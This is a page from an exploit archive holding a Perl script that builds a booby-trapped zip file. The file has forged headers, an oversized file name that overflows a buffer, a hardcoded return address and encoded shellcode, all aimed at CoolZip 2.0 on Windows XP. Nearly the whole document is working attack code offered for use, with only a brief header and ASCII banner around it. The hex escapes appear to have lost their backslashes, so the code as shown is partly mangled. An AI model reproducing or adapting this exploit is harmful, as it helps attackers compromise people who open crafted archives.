CoolZip 2.0 zip Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : CoolZip 2.0 zip Buffer Overflow Exploit
# Published : 2011-03-12
# Author : C4SS!0 G0M3S
# Previous Title : Magic Music Editor Buffer Overflow Exploit
# Next Title : FreeBSD <= 6.4 Netgraph Local Privledge Escalation Exploit
#!/usr/bin/perl
#
#
#[+]Exploit Title: Exploit Buffer Overflow CoolZip 2.0
#[+]Date: 1232011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.brothersoft.com/coolzip-download-7097.html
#[+]Version: 2.0
#[+]Tested On WIN-XP SP3 Portugues Brasil
#[+]CVE: N/A
#
#       xxx     xxx        xxxxxxxxxxx        xxxxxxxxxxx        xxxxxxxxxxx
#        xxx   xxx        xxxxxxxxxxxxx      xxxxxxxxxxxxx      xxxxxxxxxxxxx  
#         xxx xxx         xxxxxxxxxxxxx      xxxxxxxxxxxxx      xxxxxxxxxxxxx                    
#          xxxxx          xxx       xxx      xxx       xxx      xxx       xxx           xxxxxx   
#           xxx           xxx       xxx      xxx       xxx      xxx       xxx          xxxxxxxx  xxxxxxxx  xxxxxxxxx
#         xxxxxx          xxx       xxx      xxx       xxx      xxx       xxx          xx    xx  xx    xx  xx
#        xxx  xxx         xxx       xxx      xxx       xxx      xxx       xxx          xx    xx  xx xxxx   xx  xxxxx
#      xxx     xxx        xxxxxxxxxxxxx      xxxxxxxxxxxxx      xxxxxxxxxxxxx   xxx    xxxxxxxx  xx   xx   xx     xx
#     xxx       xxx        xxxxxxxxxxx        xxxxxxxxxxx        xxxxxxxxxxx    xxx     xxxxxx   xx    xx  xxxxxxxxx
#
#
#

use strict;
use warnings;
use IO::File;

sub usage
{
print q
{ 
                      Exploit Buffer Overflow Coolzip 2.0

         ==============================================================
         ==============================================================
         ====================Author C4SS!0 G0M3S=======================
         ====================E-mail Louredo_@hotmail.com===============
         ====================Site www.exploit-br.org===================
         ============================================================== 
         ==============================================================

	
};
}

my $sys = `ver`;if($sys=~/Windows/){system("cls");system("color 4f");}else{system("clear");}
system("title Exploit Buffer Overflow Coolzip 2.0");
if(!$ARGV[0])
{
usage;
print "tt[-]Modo de Uso: perl $0 <Nome_do_Arquivo>n";
print "tt[-]Exemplot: perl $0 Exploit.zipn";
exit;
}

usage;
my $File = "Exploit.zip";
print "tt[+]Identifying the size Shellcodenn";
sleep(1);
my $head = 
"x50x4Bx03x04x14x00x00".
"x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00" .
"xe4x0f" .
"x00x00x00";

my $head2 = 
"x50x4Bx01x02x14x00x14".
"x00x00x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00x00".
"xe4x0f".
"x00x00x00x00x00x00x01x00".
"x24x00x00x00x00x00x00x00";

my $head3 = 
"x50x4Bx05x06x00x00x00".
"x00x01x00x01x00".
"x12x10x00x00".
"x02x10x00x00".
"x00x00";



my $payload = "x41" x 51;
$payload .= pack('V',0x77454337);
$payload .= "x41" x (59-length($payload));
my $shellcode =  
"TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIWCO0V0SX3SSQRL3SPTPXO".
"NDMWUMVSL60KON6A";
print "tt[+]Length Shellcode:".length($shellcode)."nn";
sleep(1);

$payload .= $shellcode;
$payload .= "x41" x (4064-length($payload));
$payload = $payload.".txt";

unlink($File);
my $exploit = $head.$payload.$head2.$payload.$head3;

print "tt[+]Creating File $File...nn";
sleep(1);

open(my $f,">$File") || die "[+]Error:n$!n";
print $f $exploit;
close($f);
print "tt[+]The File $File Was Created Successfullynn";
sleep(1);